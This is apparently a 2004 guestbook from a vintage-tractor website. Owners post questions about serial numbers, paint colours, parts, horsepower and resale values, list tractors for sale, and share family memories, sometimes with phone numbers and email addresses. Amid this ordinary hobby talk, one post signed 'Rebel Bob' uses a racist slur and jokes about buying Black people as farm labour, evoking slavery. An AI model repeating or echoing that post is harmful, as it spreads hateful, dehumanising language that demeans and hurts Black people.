Tom Schaefer wrote on Wednesday, June 30, 2004 (PDT):My father had a 830 and I grew up driving it I thaught it was an amazing beast. It is a wonderful tractor. My brouther inlaw has it now and wants to sell it.
John wrote on Wednesday, June 30, 2004 (PDT):Is there anyway you could tell me the model of the tractor I have and the year it was made? I have the engine number;71050 and the tractor number; 70524. I would like to see if there is a manual also. Thank you
roycejohns wrote on Monday, June 28, 2004 (PDT):If any can tell me the color of the mccormick-deering tractor paint,also a spray can paint would be helpfull.
Jo wrote on Monday, June 28, 2004 (PDT):What is the displacement of the Allis Chalmers D12?
Shelly wrote on Sunday, June 27, 2004 (PDT):Hi, my Dad has recently passed away and left my mother and I a 1948 Leader tractor. The tractor does run, but needs tune-up. We would like to show the tractor at local events and parades an such in honor of my fathers pride. But we need help, first where do I look for paint codes, parts etc. Please help.
Justin Schambron wrote on Sunday, June 27, 2004 (PDT):My Dad has just recently past away and had aD15 i am going to restore it and i am looking for fuel line original. Mom said that he had given up on it he could not get it started but last night after a few hours and my wife pulling me down the road it came to life agian mom heard it fire up stepped on the porch and said she could hear poppy laugh and the best part was i could hear it too.Soi am looking for any tractor salvages near oklahoma,thank you and GOD BLESS.
Arthur Randall wrote on Saturday, June 26, 2004 (PDT):I own a 1948 Oliver cletrac Hg-42 and im looking for the points and condensor It has a weico magneto series C Thanks
denny wrote on Saturday, June 26, 2004 (PDT):6/26/04. I have my grandfather's SC in the shed waiting to be renewed, but I am looking for another SC to use in my southern Iowa vineyard as a permenant sprayer tractor. Does an one out there have an SC Case with Eagle hitch?
Russell Rogers wrote on Saturday, June 26, 2004 (PDT):I have a 57 model deisel parts tractor. It was still in use until a week ago. It has power steering.
Rebel Bob wrote on Friday, June 25, 2004 (PDT):I found some hands on ebay. They want two dirty niggers and a pack of redman dip. There located in north carolina
Rich wrote on Friday, June 25, 2004 (PDT):Hello, I think I have a Case VC tractor, but I am not sure as the serial number plate is missing. Any tell-tale attributes that you know of to uniquely identify it as a VC? Also, this tractor has what a appears to be a hydraulic lift on the rear end by the PTO shaft. I have replaced the transmission gear lube, but there is yet another resevoir associated with this lift. Any idea what type of fluid should be installed? What came out of this resevoir looked like heavy gear lube, but I think it probably should have hydraulic fluid installed. I welcome any advice. Rich
Phil Dublin wrote on Thursday, June 24, 2004 (PDT):My dad has a 1962-1963 D-17 Diesel. It needs brakes. Does anyone know of anyone in East Texas that might be able to fix the brakes or where we can find parts? The tractor runs good, just needs brakes.
frank smith wrote on Wednesday, June 23, 2004 (PDT):i bought a ford 841 powermaster. i have never heard of this tractor before. i am looking for an owners manual and can't seem to find on on line anywhere. if anyone knows anything about this tractor please contact me at frankgsmith at aol.com thanks
w. d. peewee mizell wrote on Wednesday, June 23, 2004 (PDT):i have a 1949 farmall c ,barn kept every night,every thing orginal with all implments. bought by my father in law for 2500 dollars in Navasota,Texas.I am currently restoring it. not much to do to it. also have other J D tractors.
Scott Flegel wrote on Wednesday, June 23, 2004 (PDT):I need to find crankshaft bearing clearances and torgue specs for a WD-45 (gas) Also oil pump clearance and gear endplay specs..would like to know where on the web I can find parts breakdown drawings of tractor components.. I`ve got to get this thing back into service, I am lost without it..Thanks to anyone that can help
scott baker wrote on Wednesday, June 23, 2004 (PDT):i beleave i have a vao w/all fenders and some odd looking mounts but cant find a seriel number anywhere i have a ad in this website please contact me with any info i need to sell it to put my little girl in school
Henry Hertel wrote on Tuesday, June 22, 2004 (PDT):Was there label or name plate saying 22-36 on these tractors or was it 15-30?
matt hagen wrote on Tuesday, June 22, 2004 (PDT):we're trying to figure out what model fordson super major we have. fordson super major is written on the hood, but it looks more like the front of the power major. it has a backhoe and loader bucket that are not original, and it's been repainted. the wheels also look more like the power major. any help would be appreciated, thanks.
John T. Key wrote on Monday, June 21, 2004 (PDT):My father had a 1952 model b i plowed on this tractor for 8 years as a teenager he sold it in 1976 and bought a 2240 we are looking for one now if you have any information on finding one i wish you would e-mail thank you for your time and trouble. john t key
RJ wrote on Monday, June 21, 2004 (PDT):wanted a MASSEY HARRIS PONY tractor that runs and drives tin dose not have to be good just wood like to get a MASSEY HARRIS PONY that runs and drives
Jacob wrote on Monday, June 21, 2004 (PDT):This was the first tractor picture I ever looked at on Tractor Shed.com
Jacob wrote on Monday, June 21, 2004 (PDT):Dallas the WD-45 has exactly 40.47 H.P. I looked this up in a Nebraska Tractor tests book.I originally thuoght that it had 45 H.P. too. I was told that the 45 on WD-45 ment that it was a 45 H.P. tractor.
douglas derrick wrote on Monday, June 21, 2004 (PDT):i have a restored vac i use every week to pull my 5ft brush hog does a great job am looking to sell
loran emrick wrote on Sunday, June 20, 2004 (PDT):I was only 6 years old at the end of ww11 but still remember spending long days on the new jd D that my dad bought right after the war ended and would be real interested in finding a restored D-R-720-820-830 jd tractor
Randy Schillinger wrote on Sunday, June 20, 2004 (PDT):Can anyone tell me the year of manufacture of a Farmall M , serial # FBK63613? Will have this 1 for sale soon.
Scott Moore wrote on Sunday, June 20, 2004 (PDT):I have a Massy-Harris Pony and was wanting to put a backblade on it would it have anought power to pull it?
steve gainey wrote on Saturday, June 19, 2004 (PDT):as a young feller my dad had a b. think it was a 52. we used it for all our heavy work. sure wish i could find it today. i still use john deere tractors on my farm.
Alexandra wrote on Saturday, June 19, 2004 (PDT):I am 12 years old and I have a '39 John Deere "H". It rocks! My sister, me and my brother, we all got a tractor when we were born. My sister got a Massy Harris Pony(or how ever you spell that) and my brother got a Farmall Cub (Mine is the biggest one of all of them ;-D). I got to drive it once. I hope to again soon. I just got a collectors model of my tractor, like for show. Model "H" are very hard to find, but that one was the first one I saw in the store. cya!
John wrote on Saturday, June 19, 2004 (PDT):I have a Fordson Super Major(1962-1964?),with loader. I am in the process of changing the hydraulic fluid.I have drained the fluid from two places,one ,with the majority, of fluid from a very large drain plug located directly under the rear end,the other being much smaller ,and less volume up closer to the engine and on an angle.There is a dipstick close to my left foot but it seems to be only for the rear fluid level.How does one know how how full to fill the front reservoir (big offset plug on left side ,in front of foot).Any info on hydraulic fluid levels would be appreciated. I had thought that the two reservoirs were connected and that they were handled by the same pump but now I am not so sure.Thanks.
Paul Strong wrote on Friday, June 18, 2004 (PDT):I have acquired a 1938 F-12 with the hydraulic option. It is on rubber and the back tires even still hold air. It seems to be complete even down to the crank. The engine is froze and I have started putting PB-Blaster on nuts and bolts. I am trying to decide wheather to keep and restore it or let somebody else that knows more about what they are doing. I would like to know what it is worth as is and some kind of an idea what it might cost to restore it.
daniel wrote on Friday, June 18, 2004 (PDT):I Have a 1923 McCormick-deering Farmall Tractor.Made by International harvester company.simualer to the Farmall F-20,I would like to sale it,but have no Information or history on it. If you could send me more info, it would be greatly appreciated.Like I said the tractor is for sale.
Darryl Krause wrote on Thursday, June 17, 2004 (PDT):I might have one of my D-21's for sale soon.It is a series 1 with a rod through the side.Serial #1457 Has a turbo on it.24.5x32 60% rubber on back,11.00 16 front 75% 3 point pto,missing grill and fender skirts,ding in fuel tank,rest of metal is straight and no rust.$2750.In Wa.360 815 6979
JT wrote on Thursday, June 17, 2004 (PDT):if anyone has a set of crawler tracks for a 1950 allis chalmers hd5 please send me an email thanks
chris hamm wrote on Wednesday, June 16, 2004 (PDT):i have a 1951 row crop 77 model and i am looking for an aftermarket 3 point hitch and also intrestred in hydros for the tractor thanks chris
Scott Bristow wrote on Wednesday, June 16, 2004 (PDT):I have recently purchased Farmall 130. It has a few unusual features. It has a foot throttle, heavy duty,adjustable front end and the insignia says International 130, not Farmall. It was built in June of 1957. My tractor came with a sickle bar mower. Paid $700. What a deal! Looking for further information on this particular tractor.
Adrien Woods wrote on Tuesday, June 15, 2004 (PDT):I am 17 years old and I got a 1947 d styled and just got it and they are nice tractors to run.
Len Rance wrote on Tuesday, June 15, 2004 (PDT):I am looking for a Buda diesel D 262. I have one in a hough payloader and it threw a rod. AC d-17 used the Buda. Im near Peterboro. Thanks Len
Dallas wrote on Monday, June 14, 2004 (PDT):the wd45 has 45hp i think
Rob Waltz wrote on Monday, June 14, 2004 (PDT):I have a G1000 Vista Diesel for sale. It is a 1967 with 49xx hours, less than 500 hours on OH. We are the 3rd owner and it is a nice tractor with a cab and weights.
Harry wrote on Monday, June 14, 2004 (PDT):I am looking for a 2010 or another good sized John Deere with wide front. I need it to farm 40 acres. Right now I have a Ford 8n but it is to small to do some of the thing I would like it to do. Does anyone in Michigan have a 2010 or something else for sale for $2000 - $4500
Grady wrote on Friday, June 11, 2004 (PDT):I'm used to restoring Farmalls but just acquired an Oliver Super 55. Where can I locate the serial number? Any other tips, including paint colors, etc. would be appreciated. Thanks.
Brian Bulas wrote on Friday, June 11, 2004 (PDT):i have a 420c with loader but spun a main bearing. Looking for a motor. I still use this tractor and need it. Use it for fencing and general farm yard work
Brian Bulas wrote on Friday, June 11, 2004 (PDT):i have a 420c with loader but spun a main bearing. Looking for a motor. I still use this tractor and need it. Use it for fencing and general farm yard work
Bandit wrote on Friday, June 11, 2004 (PDT):The last 1066 i drove was an awesome black stripe. I loved it but that 220 horse 1256 was more fun.
Bill Stiles wrote on Friday, June 11, 2004 (PDT):I am looking for a McCormick Deering W-12 to restore. We sold one back in the 60's and would like to repalce it if possible.
w.thomson wrote on Thursday, June 10, 2004 (PDT):The Waterloo Boy was the product of a stationary gas engine company in Iowa called the Waterloo Gasoline Engine Company, an outgrowth of Froelich's manufacturing of a tractor in Iowa. WGE Co was bought in 1918 by John Deere for 2.1 million, when they realized they'd better get into the gas tractor business.
fant martin wrote on Thursday, June 10, 2004 (PDT):am looking at leader that has live drive and seems to be in very good condition(restored).understand it is 32 h.p.,so i suppose it can pull 5 foot bush hog ok.with live drive must have been made in the 1950s?would like to know fair price and availability of parts.from reading comments here they are hard to find.maybe i should go back to ford8n(mine burned up recently).appreciate your comments/suggestions.thx--fant
LARRY wrote on Wednesday, June 09, 2004 (PDT):I AM LOOKING FOR D19 DIESEL ENGINE COVER AND FRONT GRILL. ANYONE HAVE ANYTHING AVAILABLE? ALSO SIDE PANELS THAT COVER HYDRAULICS AND SPEEDOMETER CABLE ETC.
Bob wrote on Tuesday, June 08, 2004 (PDT):I am in the process of restoring a 1952 "G"...I need a hood and grill to complete this project...if anyone knows where I can obtain either of these parts, please contact me at BakwoodsTn at aol.com asap...thanks... Bob
Jerry Lee ben ton ky.. wrote on Tuesday, June 08, 2004 (PDT):I also watched the satilite show on these funny little tractors. I have searchjed every web site i can find for them and this is the only picture i can find. If you have got some..Please put them up for veiwing.. Thank you I thought they were called MULES..... guessI was wrong..
charlie k wrote on Monday, June 07, 2004 (PDT):i have an 1949 allis chambers wd runs good unrestored sheet metal in good shape stored in shed have not started yet this year good rubber owners manual this tractor is for sale all it really needs is paint if interested email me i live in southern pa thanks
charlie k wrote on Monday, June 07, 2004 (PDT):yes brandon according to my book the serial number is a 1947
Tim wrote on Sunday, June 06, 2004 (PDT):I have an Oliver Super 55 in good condition that I've been using for 5 years to drag trees - it is a gas engine model and is located in Connecticut. I'm looking into a newer machine and I'm interested in selling. Anyone interested?
steve mitchell wrote on Sunday, June 06, 2004 (PDT):I have A 1959 D17 Blackbar series 1 seriel# 27000 D I would like to know if it is worth anthing its in pretty good shape its a diesel
Eddie wrote on Sunday, June 06, 2004 (PDT):Have just purchased a IH B414 Diesel tractor. Anyone have any info on this model?? Can you point me in the right direction to find info on this tractor? Thanks
John N S wrote on Sunday, June 06, 2004 (PDT):HI. I just switched my to-35 to 12 volt. I did this since it started running really rough. I couldn't get enough voltage to keep it turning over to start it.. Now i have it switched. It sounds really rough and keeps backfiring.. any help would be apprecitated. JOhn
Scott Mattison wrote on Saturday, June 05, 2004 (PDT):I have a 1951 Oliver OC3 with an AC Anderson dozer blade. Does anyone have any manuals or information on this blade manufacturer? Thanks!
steve horton wrote on Saturday, June 05, 2004 (PDT):Hello I would like information on the correct colors on my 1952 vac case tractor. Anything info would be appreciated. THANKS.
Rory W wrote on Saturday, June 05, 2004 (PDT):on the hunt for brake replacements to my MF 35, any sites or recommendations appreciated. (also looking for new set of wings, foot plates and front end loader, Many thanks
ed huston wrote on Friday, June 04, 2004 (PDT):I need to find aplace to buy motor parts for a hercules motor in a r66
Ray wrote on Friday, June 04, 2004 (PDT):I have my dad's leader tractor. Don't really know much aboutit. Trying to figure out what a fair price would be for it? Any ideas?
Ben wrote on Thursday, June 03, 2004 (PDT):Do the D-series tractors have live PTO?
Rick D wrote on Thursday, June 03, 2004 (PDT):I just bought a 1952 Farmall Super M which happens to be my first tractor. I bought the tractor for mowing my field and i have a 3 point hitch with a brush hog mowing deck. I have no idea on how this attachment goes on. Can anyone e-mail a picture to me so my wife will quit teasing me on how tall the grass is getting. My tractor is in parade quality and I really bought it for several parades in town, the field was just an excuse to get the tractor out in front of the house. Please help out the grass is getting taller every day and she's getting nasty. rdriver at stresscon.com
Richard Umlauf wrote on Wednesday, June 02, 2004 (PDT):Have a AC D15 series ll in very good shape. Has a Kelly front loader bucket. Anyone know the rated HP for this tractor and also what it may be worth? Has real good rubber,starts and runs great.
Jay in Indiana wrote on Wednesday, June 02, 2004 (PDT):I sure would like to get a wide front end (like a VAO) for my 1949 Case VAC... Anything out there? I love this tractor - it's the only tractor I've ever owned and it has been more fun than I ever would have imagined. Jay (central Indiana)
Chris Faulkens wrote on Wednesday, June 02, 2004 (PDT):My grandfather owned a 1952 Ford 8N w/ a V8 engine. He passed away a couple years ago and I am trying to sell the tracotr for my grandmother. It does run, however it currently needs a new voltage regulator. I am going to check on it next weekend and will email pictures to anyone interested. Just contact me by email.
Brandon Jackson wrote on Tuesday, June 01, 2004 (PDT):We have a model H. We are wondering what year this may be? Also this tractor has a belly hyd. pump do you have any info. on this pump. Please email with any info. Serial #FBH-242373x5 1815RPM.
John Simmons wrote on Monday, May 31, 2004 (PDT):I have a 1950 M wide front end tractor with the original #30 front end loader. The tractor is in really good shape, the front end loader needs some work. It has a new hydrolic pump, the tires are decent, and the sheet metal is straight. I also have the original owner's manuals for both. I've had the tractor 4 years and am interested in selling it. $2750 or best offer. Terrebonne, Oregon 541-923-2956.
sean pace wrote on Sunday, May 30, 2004 (PDT):I need a rear wheel, tire, and posible axle and houseing for a f14 if any one has information I would apreciate it.
Andy wrote on Saturday, May 29, 2004 (PDT):I have a 1960 Lo-Boy with several implements. It seems to have a problem with the carb not getting gas. If I mist it (spray or pour gas into the air intake) it runs fine, I think it may be an air intake leak. I have great fuel flow and have taken the carb apart and cleaned it several times (I have not rebuilt the carb). Everything looks fine but it won't run without "misting" it, if I do it runs great. I just changed the oil and am getting ready to get it fixed but where? I was informed there is a place in Mass around Worcester or Springfield that specializes in Cubs, tune-ups and repairs. I forgot where exactly but think it was called "The Outdoor power shop" or something like that. Anyone out there that could help me locate this shop to work on my Cub or knows of a good knowledgeable shop or person in the New England area to help me? The tractor otherwise is solid and I have several implements and I would love to have it running good again like when I bought it to use it at my camp in Maine...
Dennis G. Allison wrote on Friday, May 28, 2004 (PDT):I purchased a 1949 8N as to the sellers knowledge, and It was converted to 12 volt but the ajuster rod that tightens the belt on the alternater will not tighten it up tight enough and it is attached to the front head bolt and I need a ajuster rod that will tighten it up so that I can get it to charge the battery, and if there is one where would I find it and would it attach to the front head bolt as well?
Melissa Yurek wrote on Friday, May 28, 2004 (PDT):This tractor is so cool liking and the trator i went to ride on my last day of high school. Every senior ride there tractor to school on the last day of school.Today on Friday May 28, 2004. Is the senior last day.
JD Cain wrote on Friday, May 28, 2004 (PDT):We have an alligator crawler that is in good condition and runs good. It will be selling June 5th. Also at sale; antique tractors, antique garden tractors, antique walkbehinds, implements, antique cars, willy's jeep, tools, engines, and much more! (316)322-5384 or (316)322-3976. You can view photos at www.nixonauctioneers.com/lists/cain.htm
paul johnson wrote on Thursday, May 27, 2004 (PDT):i have the 1955 case disel dual heads i would like to know thr hp of this tractor. thanks every one in christ paul sp no. 8063754.
KEVIN M CUNNINGHAM wrote on Thursday, May 27, 2004 (PDT):i have a 1959 international utilty tractor with a front loader and backhoe i would like to see a picture of what one looked like new before i start to restore it
Joan Zimmerman wrote on Thursday, May 27, 2004 (PDT):We are interested in having an Antique Tractor Show during the middle of August. Is there anyone who can hook me up with contacts, or people who might be interested in participating in a great event?
miles wrote on Wednesday, May 26, 2004 (PDT):The '58 model 720 my grandfather bought new was sn#7228339. It was a diesel, electric start. Any information about where this tractor is would be greatly appreciated. Also currently have a '58 model 720 diesel electric start to trade for my grandfather's tractor.
Bub Butcher wrote on Tuesday, May 25, 2004 (PDT):I have a 40, a 550, and a 560. These are my favorite tractors! My Dad and I farmed with these tractors for 35 years. My Dad won a lot of tractor pulls with a 560, back in the 60's and 70's. I'm restoring a 40 now for tractor pulling.
James L Butcher wrote on Tuesday, May 25, 2004 (PDT):I had one on the farm when I was a kid. I always liked the tractor, and was wondering if anyone else had anymore pictures they would like to share with me. Thank you!!
Jim Keesler wrote on Tuesday, May 25, 2004 (PDT):Am marrying into a family with a 560 diesel that hasn't run for several years, stored in a pole barn. Am told it needs a screwdriver across the starter (solenoid) terminals, but I should be able to fix that! Unconfirmed reports of missing teeth on the flywheel--that could be a bigger problem. Looking forward to getting it running someday. (grew up on an "H" and a gas 460 in the late 50s and early 60s...) Fun finding this site!
Wade wrote on Tuesday, May 25, 2004 (PDT):I need a TO 30 engine that can be rebuilt or tractor that can be restored prefer AL, MS, or LA States. Also tractor parts inc. web site has manuals for engine specs, all details that is needed to restore these engines and tractors
Jon Rogers wrote on Monday, May 24, 2004 (PDT):I recently had my fathers 1950 MT John Deere Tractor stolen. I was looking forward to restoring the tractor with my son. If anyone out there can give me any ideas of how to track or find my tractor I would appreciate it. Jon
kevin wrote on Sunday, May 23, 2004 (PDT):I have john deere 720diesel am looking for the putt putt motor,anyone know where i could find one.This tractor is also for sale.
Ken Mack wrote on Saturday, May 22, 2004 (PDT): Got three of the old massey 44 two have front end loaders all have power stering good old tractors
Matthew Williams wrote on Saturday, May 22, 2004 (PDT):I own a dexta tractor - how do I tell the difference between a dexta and a super dexta? What do the orange wheels signify?
dixon wrote on Saturday, May 22, 2004 (PDT):more about this tractor it was bought new by my father-in-law.had a backhoe on it and a front loader.took the hoe off in 64 and used it to haul small baled hay,in 67 we bought a holland bale wagon and used it for till 78 then went to round bales used it to chop corn and to chop baled hay.in 82 we put a ditcher on it and thats what i use it for today .it has been in the family sence it was new
Carlous Maynard wrote on Friday, May 21, 2004 (PDT):I am needing to know the tork specifications for the head gasket on my 1952 Ford tractor. If anyone would have the information or could tell me where to look, I'd be most appreciative.
dixon wrote on Friday, May 21, 2004 (PDT):i have a 1954 fordson major diesel,all the wheels are orange,whitch they have been sence 1964.thats my tractor.put new short block june 64 broke the fabric that drives the fuel pump.need some help yo time it thanks
Dale Keesecker wrote on Friday, May 21, 2004 (PDT):I am in the process of restoring a John Deere 720 diesel for farm use. Does anyone have any parts for this machine? It is a 1956. If you do, I could email you a list of what I am looking for. Prefer new or good used parts. Please email dale at keesecker.com. Thanks.
Lowell Hallauer wrote on Friday, May 21, 2004 (PDT):I have a chance to pick up a HG 42 wide gauge "in a box"but would rather it were a narow, Is it possible any one would hae narrow axels and housings and spacers for a narrow gauge? e-m ail me at hallauer at juno.com Thanx
Chris Mills wrote on Thursday, May 20, 2004 (PDT):Looking for hood, radiator cap, and air cleaner assembly for 1951 sc case tractor
Jerry Howard wrote on Thursday, May 20, 2004 (PDT):I have a Mc Cormick Farmall Cub, serial # 185116 J. Would like to know the year it was built. I'm going to put it up for sale. It runs great, has a Woods 42" belly mower, and the rear tires are like knew. Located in Racine WI.. Jerry at 262 835 1354.
Alex. wrote on Thursday, May 20, 2004 (PDT):I have just purchased an old Case tractor. It still runs well. However, I want to purchase a manual--it's wonderful to be able to service a machine again. The only common indentifier is VT. The numbers after the VT on the components vary.Can you give me a more precise identification? Where would I find a serial number? Thanks for your help.
Zach Wagner wrote on Wednesday, May 19, 2004 (PDT):I am 16 years old and I am looking into restoring my Grandpas good old farmall H. It has sat outside for proably 20 years although its not in that bad of condition. The motor however is set up is there any easy way to break it loose so that i can get a engine kit into it? I also wanto try and find out just how old this H is, is there anyway that i can find out ? email me
Greg wrote on Wednesday, May 19, 2004 (PDT):Desperately need engine specifications for Oliver Cletrac HG-42 with Hercules 4 cylinder L head motor-3 1/8" bore by 4" stoke. Please e-mail any info. Thanks!
Floyd wrote on Wednesday, May 19, 2004 (PDT):How bad is the job of installing a PTO on a G-1000 that came without one? I'm assuming this is a wheatland tractor since it has not rockshaft, 3-point or PTO. Thanks
Kim Benson wrote on Wednesday, May 19, 2004 (PDT):I have an 881 SOS and I need a new/used transmission pump. Can anyone out there tell me where I can get one, I can't seem to find one. I'm almost considering buying a 881 parts tractor, does anyone know where one is? These aren't easy to find either. Another question,, Will the transmission pump from a 671 or from another SOS work or fit in my 881? Thanks KB
kevin wrote on Tuesday, May 18, 2004 (PDT):hey do you know how valubale a 1941 b would be with the original steal wheels it was bout with but the fenders a rotting and the rest or the tractor is rusted with no decals left on it
Dean wrote on Tuesday, May 18, 2004 (PDT):Do you know where I could find the weights of Twin City tractors?Thanks,Dean.
Ana Terzaghi wrote on Monday, May 17, 2004 (PDT):We live in Uruguay, south America. We have a 8N tractor. We would like to sell it, are there offers? It is almost all original parts.
ann wrote on Sunday, May 16, 2004 (PDT):what is the horsepower of a allis chalmers d12 tractor?
JerryPonto wrote on Sunday, May 16, 2004 (PDT):Hello! I have a "McCormick Farmall Super A" tractor that I am thinking of selling. The serial number is 309937 (1540) and the engine number is 354898R1. I would like to know what year the tractor is. The tractor has new rims and tires [11.2 X 24],(I still have the old ones also). It has a one-point hitch, chisel plow, back blade, etc. I also have the operator's manual. Any idea of it's approximate value? Any help would be greatly appreciated! Thanks in advance!!
wilson wrote on Saturday, May 15, 2004 (PDT):I would appreciate anyones commwnts about my 720 diesel standard with pony start. What size disk should I expect to pull in sandy soil cutting heavy grass? What is your advice changing the plugs in the pony next to the driver. What type of oil do you use in both engines. Will iy hurt this tractor to work at an engine speed of 600 rpm for 6 hrs at a heavy load such as disking at 6-7 mph. Thank you.
Jeff wrote on Friday, May 14, 2004 (PDT):I had to replace some gears in a transmission on a 41 H after two teeth sheard off due to 2 roller bearings that fell out of the pilot bearing,If any one is doing same i recommend to power wash out the tranny before putting it together to make sure u get all the metal out.
jim wood wrote on Friday, May 14, 2004 (PDT):Looking for a rod and piston for 1919 avery-Model b tractor. anyone know where i can find avery parts
Derek Smith wrote on Friday, May 14, 2004 (PDT):I have recently bored my John Deere R out .420 and put oversized 820 pistons in it. I have the american bosche injectors and i have been told that i need to replace my nozzle tips with those from an 820. HELP??
Raymond Barnby wrote on Thursday, May 13, 2004 (PDT):I HAVE A WD THAT HEATS UP WITHIN 10 MINUTES OF RUNNING, PULLED OUT THEMO. FLUSHED OUT RAD. JUST SHY OF PULLING OFF HEAD, HAS LOADER, POWERSTEERING,NEEDS RESTO. TRI.NEW RUBBER ON FRONT, GOOD RUBBER ON REAR. SELL FOR WHAT IT IS WORTH. ONAWAY, MICH.
Clem Davidson wrote on Thursday, May 13, 2004 (PDT):In the late 1960's I acquired my first tractor - a Farmall H that probably dated from the war years, as it was a crank-start with no lights etc. Talk about dependable! I have been able to trace this tractor in Swaziland and hope to recover her soon!
Ted wrote on Wednesday, May 12, 2004 (PDT):I own a Massey Harris 55DS serial no. 1121. It has a crack near the top of the engine block. Can that be fixed? I'd appreciate any helpful comments. Thanks
Jay Musfeldt wrote on Wednesday, May 12, 2004 (PDT):I grew up on an Iowa farm that was Case country. We had a 1941 SC, a '30's model C, and a 1949 DC. I have a question. In two recent publications I have seen pictures of what appears to be an SC, but both were described as model D tractors. Both of the tractors were exports, one to Canada and one to UK. Did Case designate export tractors differently than US models, or were these misprints. As much time as I spent in the saddle of that SC and DC, believe me, I do know the difference. I really enjoy this site. JM Salem, Oregon
Larry Polley wrote on Tuesday, May 11, 2004 (PDT):My dad has a 1964 Ford 671 Series that he has used daily for 30+ years. The selcto speed has just began to act up. We have been looking for a transmission manual. There doesn't seem to be anyone in this neck of the woods that wants to touch it. Any suggestions regarding where one might obtain a manual?
Janet wrote on Monday, May 10, 2004 (PDT):I have a 1964 International tractor that my husband purchased from the federal government. I finally got it running and now want to sell it. I think the PTO needs fluids but I have no clue as to type and quantity and just exactly where do I get it into the system. Any help will be appreciated. I'm trying to sell the tractor and want everything operational. Thanks
oscar wrote on Monday, May 10, 2004 (PDT):I have an Allis Chalmers WD. Wiring is incomplete. Is there a website I could go to thats show me how to wire it up. Thanks.
Bill Wilson wrote on Monday, May 10, 2004 (PDT):Looking at the picture I figure I have a Massey Harris 81. I bought it 10 years ago and it served me well plowing snow and skidding/lifting logs for a log cabin we built. It has a loader with it and good rubber. She is getting tired and needs a motor rebuild but still runs. I would like to sell it and am open to offers. I am located in Northern MN and can be reached by e-mail.
john wrote on Monday, May 10, 2004 (PDT):roy check engine breather is clear if ok most likly back pressure from piston and rings wear
jack nagel wrote on Sunday, May 09, 2004 (PDT):HI I from ontario canada 40 milies from wher cockshutt was built. The 40 # 35 wher painted yellow only early ones where red. I have restored lots of them.
Denny Jackson wrote on Saturday, May 08, 2004 (PDT):My dad has an unusual John Deere 70 Wheatland that he must sell due to retirement and health issues. It is a wonderfully comfortable tractor to drive. Does anyone know what a tractor like this is worth?
Walter Hoskin wrote on Saturday, May 08, 2004 (PDT):I took my MH GP 4WD to the Milton Ontario Massey Harris Show in 2003. Found it very interesting as four 4WD MH GP entered. The serial number of one of the other tractors shown was just two numbers apart from mine. I'd enjoy hearing from other GP owners. My serial number is 301980 66" tread. I believe that the other tractor's serial number was 301982 - could check if someone was interested in knowing. Still need one part R085D airwasher box - I have the two lids. Keep in touch. Thanks! Walter E. Hoskin 519-587-2072
Ray wrote on Friday, May 07, 2004 (PDT):I am looking for a Support Alternator part #107554-C1. This is for a Farmall Cub. I can be contacted at RTDarling at aol.com or phone 315 625-7725. Thank you. Ray
shannon wrote on Thursday, May 06, 2004 (PDT):I have 3 Rumley oil pull tractors that were my grandfathers, I need some help in finding parts and would also want to know any value. if anyone can help me i plan on getting the model # this weekend. i would appreciate it
Dan Schueler wrote on Wednesday, May 05, 2004 (PDT):My dad had an Oliver Super 99 GM diesel whn I was growing up. I would drive it pulling 20'one plows. It would easily pull 2 and sometimes 3 of these ganged together. It was a sight to see in the late 50' and early 60's. I could cover 160 acs. in no time. I have a Franklin Mint 1/12 scale version of it now, but would like to find a full size one someday.
bud wrote on Tuesday, May 04, 2004 (PDT):I am restoring a W-12,I would like to know the original color.My tractor is a 1935 according to the ser#,is it red or gray if so do you know a paint code?
royce johns wrote on Tuesday, May 04, 2004 (PDT):I bought a o12 Mccormick-deering, I would appreciate any info on this tractor. thanks
shaun wrote on Sunday, May 02, 2004 (PDT):hey everyone i am about to get a A-C WC. it doesnt run though. i would appreciate if i could get info on the tractor and if it is a good tractor . also how much horse power and long and tall is it . thanks email me at rebelhunter706 at aol.com
Randall Westfall wrote on Saturday, May 01, 2004 (PDT):I wrote last september that I had a 1952 cub. I suspect that it is an earlier model. There are casting #'s on various parts, but there is a data plate on the steering gearbox with a very faded # starting with "117xxx" and the number "1800" just below that. If anyone would know the year I would like to know. Also, I have a spare belly mower if anyone wants to make me an offer. I live in southwest Louisiana. This tractor mows over 8 acres of grass every 2 weeks and is also used to clear my property. I can't think of a stronger, more reliable tractor. Thanks in advance! Email to rand101 at bellsouth.net
irene chartier - birtle manitoba wrote on Saturday, May 01, 2004 (PDT):looking for info on rock island tractor 18-35 built around ?1914-20 2m carb 4 cylinder full steel
Sherwood Braddy wrote on Saturday, May 01, 2004 (PDT):I recently bough a IH cub but the gas tank looks more like an Super A tank. The only # i can find on the motor on the right side by the steering box is IC 16 can anyone help me with what is. Is that the serial #? The rest of the tractor looks just like the cub. Thanks so much if you can help.
Jerry Martin wrote on Thursday, April 29, 2004 (PDT):live in north central Texas. Looking to buy a farmall cub for gardening. perfer one with some attachments. plows planters and belly mower.etc. Please let me know if you have one reasonable priced. Will consider one that needs restoring if running.
Bryan B, Whites Farm Supply wrote on Thursday, April 29, 2004 (PDT):We have 2 160s for sale. One is currently on Ebay. Contact me via email for more info.
Peter M. Ratcliffe. wrote on Thursday, April 29, 2004 (PDT):UK farmer. I have nice 1949 Allis-Chalmers HD 5B crawler with GM type 71 blown-scavenge two-stroke Diesel. Not much info Stateside. Possibly they were nt popular-? Great tractors over here. Caterpillar eventually outperformed. Member UK Chapter ACMOC. Have collection great machines
roy wrote on Wednesday, April 28, 2004 (PDT):im working on a old dexta its 3 cyl diesel it blows oil out every where im not a tractor mech. so im kinda lost could any one tell me what problums these engines have with those symptoms
Landon Paulson wrote on Wednesday, April 28, 2004 (PDT):hey there Jacques thankyou for the information on the steering box , turns out i needed that to.... your help is muchley appretiatied
connie wrote on Wednesday, April 28, 2004 (PDT):looking for a allis chalmers wd 45 live in pa will travel to pick up. thanks
j. kauffman wrote on Tuesday, April 27, 2004 (PDT):I am 11 years old and have a 1941 LA . it runs good,I live in PA I paid 500 bucks for a undented John deere tractor if you find any other 2 cylinder tractors please contact me.I hope to get all the L series L 62 M LI. THANKS FOR YOUR TIME!
Curtis Vaughan wrote on Tuesday, April 27, 2004 (PDT):I am looking for a set (front and back ) of steel wheels for my W-12. Mine has cut-offs with new rubber on front and 75% (in good shape)rubber on the back. Will consider these as part of trade/price if interested.
Duke Duclos wrote on Tuesday, April 27, 2004 (PDT):I'm looking for an Allis CA or B, perhaps a D17. I have a small farm of 30 acres, with about 15 acres of fields that need some help. I'd want to use the tractor for mowing and baling, and do some odd hauling. It doesn't have to be perfect, just needs to run well and be in decent shape. If you have one or know of one, please get in touch. Thanks
